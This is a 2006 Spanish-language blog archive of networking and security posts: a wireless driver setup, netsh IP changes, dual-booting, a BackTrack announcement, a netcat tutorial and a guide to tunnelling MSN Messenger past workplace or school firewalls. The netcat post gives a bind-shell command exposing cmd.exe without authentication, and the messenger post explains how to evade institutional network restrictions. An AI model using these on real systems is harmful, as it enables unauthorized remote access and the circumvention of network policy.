9.Automatic restart after reboot
In your Module folder is the file ifcfg-ra0 copy this to
/etc/sysconfig/network/ or wherever Mandrake installs its ifcfg-* files.
# find / -name "ifcfg-ra0"
/usr/src/rt2400-1.2.0/Module/ifcfg-ra0
# find / -name "ifcfg-*"
/etc/sysconfig/network-scripts/ifcfg-lo
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/sysconfig/networking/ifcfg-lo
# cp /usr/src/rt2400-1.2.0/Module/ifcfg-ra0 /etc/sysconfig/network-scripts/
# more /usr/src/rt2400-1.2.0/Module/ifcfg-ra0
DEVICE=ra0
BOOTPROTO=dhcp
ONBOOT=yes

10.Add script to /etc/rc.d/rc.local
to start ra0 at boot time add the previous script at the end of
/etc/rc.d/rc.local just before the following line
touch /var/lock/subsys/local

11.Reboot!
If it does not work as root rerun the script, but it works for me.

Salu2
kyokorn

Crackeando la WEP en 5 min

2006-09-20T13:12:00.000-05:00

Se que ya muchos lo han logrado, pero si de esto se trata mi tesis aqui pongo un video de mi primer inyeccion de trafico en linux con back track 1.0. usando una tarjeta cisco aironet a/b/g y mi lap top.

Salu2
kyokorn

Cambiar ip desde linea de comandos NETSH

2006-04-21T08:29:00.000-05:00

Netsh, también llamado NetShell o Network Shell, es una herramienta basada en línea de comando que configura el servicio DHCP, el servicio RAS y servicios de red de enrutamiento. Un contexto de Netsh es un estado en el cual Netsh acepta los comandos relacionados con un sistema específico de funciones. Cada contexto de Netsh contiene las características para manejar un sistema relacionado específico de funciones del establecimiento de una red. Usted puede cambiar a otros contextos escribiendo el nombre de un contexto. También se utiliza para agregar una dirección del Internet Protocol (IP), o para configurar el WINS y el Domain Name System (DNS) en la interfaz.(Traducción hecha por Google).

Como quien dice. Con el NETSH puedes :

Cambiar una dirección IP y Gateway.

Si tu dirección IP es 192.168.0.10, Netmask 255.255.255.0 y Gateway 192.168.0.1 y la quieres cambiar a IP: 192.168.0.69 NM: 255.255.254.0 GW: 192.168.0.2, primero escribe Netsh, luego interface y ahora ip, escribe set address “adaptador” static 192.168.0.69 255.255.254.0 192.168.0.2 1 el último 1 es la interfaz métrica, si no lo escribes, no va a funcionar

Ahora, aspi es como lo verías en tu pantalla. Para conocer tu dirección IP desde línea de comandos escribe IPCONFIG

C:\>ipconfig
Configuración IP de Windows 2000
Ethernet adaptador Ethernet00:
Sufijo DNS específico de la conexión. :
Dirección IP. . . . . . . . . . . . . : 192.168.0.10
Máscara de subred . . . . . . . . . . : 255.255.255.0
Puerta de enlace predeterminada . . . : 192.168.0.1

C:\>netsh
netsh>interface
interface>ip
interface ip>set address "ethernet00" static 192.168.0.69 255.255.254.0
192.168.0.2 1

Al presionar “Enter” te va a salir un mensaje que dice “Command Succesfully” o “Aceptar”, y si quieres ver que se han realizado los cambios, escribe “quit” para que te regrese a C:\ y una vez ahí escribe de nuevo IPCONFIG para ver los resultados,

C:\>netsh
netsh>interface
interface>ip
interface ip>set address "ethernet00" static 192.168.0.69 255.255.254.0
192.168.0.2 1

Aceptar

interface ip>quit
C:\>ipconfig
Configuración IP de Windows 2000

Ethernet adaptador Ethernet00:
Sufijo DNS específico de la conexión. :
Dirección IP. . . . . . . . . . . . . : 192.168.0.69
Máscara de subred . . . . . . . . . . : 255.255.254.0
Puerta de enlace predeterminada . . . : 192.168.0.2

Como puedes ver, hemos cambiado una dirección IP desde línea de comando.

Agregar una dirección IP

IP 192.168.0.10 NM 255.255.255.0 GW 192.168.0.1, y quieres agregar la dirección 192.168.10.10 NM 255.255.0.0 Add address “adaptador” 192.168.10.10 255.255.0.0

C:\>netsh
netsh>interface
interface>ip
interface ip>Add address "ethernet00" 192.168.10.10 255.255.0.0
Aceptar

interface ip>quit
C:\>ipconfig

Configuración IP de Windows 2000
Ethernet adaptador Ethernet00:
Sufijo DNS específico de la conexión. :
Dirección IP. . . . . . . . . . . . . : 192.168.10.10
Máscara de subred . . . . . . . . . . : 255.255.0.0
Dirección IP. . . . . . . . . . . . . : 192.168.0.69
Máscara de subred . . . . . . . . . . : 255.255.254.0
Puerta de enlace predeterminada . . . : 192.168.0.2

Si quieres agregar la misma dirección pero además quieres agregar otro gateway, digamos 192.168.10.1 Add address “adaptador” 192.168.10.10 255.255.0.0 192.168.10.1 1

C:\>netsh
netsh>interface ip
interface ip>Add address "ethernet00" 192.168.10.10 255.255.0.0
192.168.10.1 1
Aceptar

interface ip>quit
C:\>ipconfig

Configuración IP de Windows 2000
Ethernet adaptador Ethernet00:
Sufijo DNS específico de la conexión. :
Dirección IP. . . . . . . . . . . . . : 192.168.10.10
Máscara de subred . . . . . . . . . . : 255.255.0.0
Dirección IP. . . . . . . . . . . . . : 192.168.0.69
Máscara de subred . . . . . . . . . . : 255.255.254.0
Puerta de enlace predeterminada . . . : 192.168.0.2

Borrar una dirección IP

Si nomás quieres borrar la dirección escribe: delete address “adaptador” 192.168.10.10

C:\>netsh
netsh>interface ip
interface ip>delete address "ethernet00" 192.168.10.10
Aceptar

interface ip>quit
C:\>ipconfig
Configuración IP de Windows 2000

Ethernet adaptador Ethernet00:
Sufijo DNS específico de la conexión. :
Dirección IP. . . . . . . . . . . . . : 192.168.0.69
Máscara de subred . . . . . . . . . . : 255.255.254.0
Puerta de enlace predeterminada . . . : 192.168.0.2

Si quieres borrar la dirección junto con el gateway, escribe: delete address “adaptador” 192.168.10.10 192.168.0.2

C:\>netsh
netsh>interface ip
interface ip>delete address "ethernet00" 192.168.10.10 192.168.0.2
Aceptar

interface ip>quit
C:\>ipconfig

Configuración IP de Windows 2000
Ethernet adaptador Ethernet00:
Sufijo DNS específico de la conexión. :
Dirección IP. . . . . . . . . . . . . : 192.168.0.69
Máscara de subred . . . . . . . . . . : 255.255.254.0
Puerta de enlace predeterminada . . . : 192.168.0.1

Como ya habíamos agregado otro gateway, y borramos el predeterminado, ahora vemos el que habíamos agregado.

Nos vemos
salu2
kyokorn

Instalando Windows XP y Linux en una misma maquina

2006-04-11T10:36:00.000-05:00

Esto no es en lo absoluto nuevo, hay varias formas de instalar windows y linux en una misma maquina, de echo solo importa tener las debidas particiones y tener windows en la primer particion del disco duro posteriormente instalar linux y ya sea usar el gestor de particiones de linux para utilizar el espacio libre en la partcion de windows o en su defecto antes de instalar los dos sistemas operativos hacer las particiones con un software como particion magic.

Pero precisamente ese es el proposito de hacer este texto, instalas windows XP y linux pero sin usar nada mas que los discos de instalacion de ambos sistemas operativos.

Empezamos por instalar win2XP (en mi caso utilice windows xp profesional con service pack 2) asi que metemos el disco de instalacion e iniciara la deteccion de software

Despues de esta pantalla presionamos enter, despues F8 y llegamos a la parte que nos interesa aqui vamos a crear la particion que usaremos para windows asi que presionamos C para crear la particion

en mi caso tengo un disco duro de 8189 MB = 8.1 GB, asi que ustedes deciden cuanto espacio usaran para windows por ejemplo si quiero utilizar aproximadamente la mitad de mi disco para windows y la otra para windows entonces en la siguiente pantalla introdiceremos la cantidad en MB que dedicare a windows XP yo puse 4000 = 4GB

como podran ver ya esta todo listo para seguir normal con la instalacion de windows, nos muestra un resumen con las particiones que hicimos en caso de que se hayan equivocado aqui pueden modificar el tamaño de las partciones borrandolas y volviendolas a crear, damos enter en la partcion C y instalamos XP.

Nos vemos
salu2
kyokorn

Publicado BackTrack beta live CD

2006-03-16T16:12:00.000-06:00

Estas distribuciones se actualizaban constantemente con las últimas versiones de las utilidades y delas bases de datos de exploits y vulnerabilidades que contenían, de modo que con uno de estos cd´s se disponía de las últimas y mejores herramientas para “auditorías de seguridad”.

Aunque estás distribuciones (y muchas otras) siguen siendo perfectamente válidas las últimas actualizaciones son de Junio del 2005 la “Auditor Security Linux 200605″ y de Julio del 2005 la “WHAX 3.0″.

La razón por la que no se siguieron desarrollando fue porque, por suerte para nosotros, Max Moser (desarrollador de Auditor) y Muts (desarrollador de Whax) decidieron aunar esfuerzos y sacar una nueva deistribución con lo mejor de cada una. Esta fué la primera noticia de la unión que se dió en la web del Auditor el 27-07-2005: Muts - Interesting developments in progress

Después de una larga espera acaba de salir a la luz el nuevo “live CD” para “Penetration Testing”, se llama BackTrack y sin duda se va a convertir en una herramienta indispensable. El BackTrack, al igual que la mayoría de los “live CD”, corre un sistema linux, y está basado en SLAX (Slackware), lo cual lo hace facilmente configurable y adaptable gracias a su modularidad.

Se han anunciado dos versiones “BackTrack User Edition” y “BackTrack Dev Edition” aunque esta última parece que por ahora no va a estar disponible, ambas contienen los mismos paquetes, la única diferencia está en el uso que se le vaya a dar, dependiendo de si es para un uso “normal” o “desarrollador”.

Web oficial (las dos llevan al mismo sitio):
http://www.remote-exploit.org/ (antiguo dominio del Auditor)
http://www.iwhax.net/ (antiguo dominio del Whax)

NOTA:
Para los que no lo sepan un “live CD” es un sistema operativo instalado en un CD autoarrancable, de manera que para ejecutarlo basta con insertar el cd y encender el equipo para que arranque el sistema que contiene el CD en lugar del sistema operativo del disco duro. Una vez ejecutado puedes disfrutar de todas las ventajas del nuevo sistema operativo sin tener que haberlo instalado.

Netcat la llamada navaja suiza

2006-02-27T19:57:00.000-06:00

Seguramente han oido hablar de netcat. (Los que no han oido hablar de netcat creo que este texto no sera de su interes), no voy a hacer copy-paste a otros textos trataré de explicarlo lo mas explicito que se pueda y con ejemplos, asi que en resumen netcat acepta conexiones TCP (Protocolo de Control de Transmision) y UDP (Protocolo de Datagrama de Usuario).

Netcat por si mismo no obtendra ningun resultado siginificativo (cuando no se utilice en union de otras herramientas y tecnicas), bueno netcat esta disponible tanto para usuarios windows como usuarios linux la pagina oficinal de descarga de netcat es la siguiente:
http://www.atstake.com/search/tools/.

Una vez que tengan instalado nectat proseguire a explicar como funciona y sus principales opciones.

La linea basica de comandos de Netcat es nc [opciones] host puertos, donde host es el nombre del host o la direccion IP que en este caso se desea analizar y puertos es o un determinado puerto o rango de puertos (especificados en la forma "m-n" o una serie de puertos separados por un espacio).

Aqui una lista de algunas de las opciones de la linea de comandos:

-d. Disponible solo en windows, esta opcion hace que netcat trabaje de forma silenciosa.

-e . Ejecuta un comando en la terminal a la escucha

-l. Se mantiene a la escucha, se tiene que utilizar con la opcion -p para indicar el puerto o -u si es un puerto UDP.

-L. Escucha con mas atencion, se mantiene a la escucha y se reinicia utilizando la misma linea de comandos una vez que finaliza la primer conexion.

-i. Intervalo de espera, por ejemplo cuando se utice netcat para enviar un archivo netcat esperara antes de transmitir la siguiente linea de entrada.

-p. Permite especificar el numero de puerto local que va a utilizar netcat, este opcion es valida cuando se utilicen los argumentos -l o -L para avtivar el modo de escucha, si no se especifica para las conexiones salientes netcat utilizara cualquier puerto que el sistema le indique; en la misma forma en que lo hacen casi todos los demas sistemas clientes TCP o UDP. Cabe mencionar que en una plataforma unix solo los super usuarios roots pueden especificar un numero de puerto inferior a 1024.

-r. Netcat elegira aleatoreamente los puertos locales y remotos.

-u. Indica a Netcat que utilice UDP en lugar de TCP. Funciona tanto para el modo de cliente como para el modo escucha.

-v. Controla la locuacidad de lo que se esta haciendo, si se utiliza -v se podra conocer con que conexion se esta conectando o enlzando y si se esta produciendo algun problema, una segunda -v nos permitira conocer cuantos datos se han enviado y recibido hasta el final de la conexion.

Bueno pues no son todas las opciones pero si las mas usadas, si desean saber la lista completa de las opciones de la linea de comandos de netcat arriba puse la pagina oficial de netcat ahi las podran checar todas.

Ahora si ya que vimos algo de teoria pasemos a la practica.

OBTENER ACCESO REMOTO A UNA SHELL.

A quien no le gustaria ser capaz de obtener su propio indicador de comandos de DOS en su casa de cualquier sistema situado en cualquier parte del mundo xD. Si se ejecuta el comando nc -l -p4455 -e cmd.exe desde una ventana de simbolo de sistema basada en windows NT o Windows 2000, cualquiera que realice un telnet al puerto 4455 de dicho sistema se encontrara con una shell DOS sin tener que iniciar una sesion en ella. Utilizando mis dos maquinas en una mandrake 10.0 y en la otra windows 2000 eh aqui un ejemplo:

[root@kyokorn /root]# telnet 192.168.0.1 4455

Trying 192.168.0.1...

Conected to 192.168.0.1.

Y obtenemos...

Escape character is '^]'.
Microsoft Windows 2000 [Version 5.00.2195]

C:\>
Connection closed by foreign host.
[root@kyokorn /root]#

Aun no terminado.....

Abrir messenger detras de un firewall o proxy

2006-02-20T11:27:00.000-06:00

Que tal se que esto no es propiamente de seguridad informatica pero es que varios amigos me han preguntado como se puede abrir el messenger donde en sus escuelas o trabajos esta restringido pues esta es una de muchas formas que hay y para mi es de las mas faciles.

Antes de seguir tambien pueden probar la opcion de abrir el messenger por http a traves de un navegador web algunos de los sitios que tienen este servicio son los siguientes:

www.msn2go.com.br
http://www.messaddons.nl/emessenger.php
http://www.galvingroup.com.ar/msn.php
http://www.phonefox.com/servlet/login
http://piglet.0900provider.nl/
http://webmessenger.msn.com/default.aspx?R=1www.jaimy.us
http://82.98.252.234/
http://es.geocities .com/rj_casakin
http://www.onlinemessenger.nl
http://www.universia.es
http://www.antion.co.ukwww.jabbix.net
http://linux.mty.itesm.mx/jabber/chat/index.php?logout=1&hash=eba03a578a3c97d6f9ef09e62e547b5c
http://www.e-messenger.net
www.iloveim.com
www.msn2go.com

Bueno esas las he encontrado pro ahi las 3 ultimas si las he provado y funcionan pero si ustedes lo que quieren es su messenger ese donde pueden mandar caritas personalizadas guiñoz etc etc pues he aqui un tuto:

Ojo antes que nada cierren el mesenger!

Bueno el programa a utilizar se llama Real Tunnel y no entrare en detalles tecnicos ni paja, basicamente es un cliente que ayuda a los SIP a saltar NAT Si quieres sabes mas que es SIP y NAT:

http://es.wikipedia.org/wiki/Session_Initiation_Protocol SIP
http://es.wikipedia.org/wiki/NAT NAT

Bueno descargamos el programa del siguiente link

http://www.paradial.com/download/

Al instalarlo y correrlo nos saldra una ventana como la que sigue:

Damos clink en Get password para obtener un user y un passowrd, les recomiendo que en el registro no pongan un correo de yahoo o hotmail porque yo puse uno de hotmail y nunca me llegue mi user y pass asi que tuve que usar gmail si quieren una cuenta de gmail pidamenla.

Bueno una ves que tienen el user y pass los ponen y les saldra algo como lo que sigue:

Una ves que se autentifique el usuario y se detecte el tipo de conexion de su red saldra un mensaje de Connected, but no signed-in, at Real-Tunnel, despues de esto entonces ya pueden abrir el msn y disfrutarlo =P.

Se supone que Real Tunnel detecta la configuracion de su red, proxy, etc, de hecho creo que se basa en la configruacion del internet explorer para conectarse y usar su cliente para saltarse nat pero si necesitan configurar el proxy de su red (si es que estan dentras de un proxy ) deben de modificarlo el el menu option y luego preferences ahi puedes establecer los valores manualmente,

EN lo personal lo he probado en dos redes (de prestigio una de gobierno y otroa privada) y lo he usado sin problemas, espero que este tuto les haya sido de ayuda

Nos vemos
saludo2
kyokorn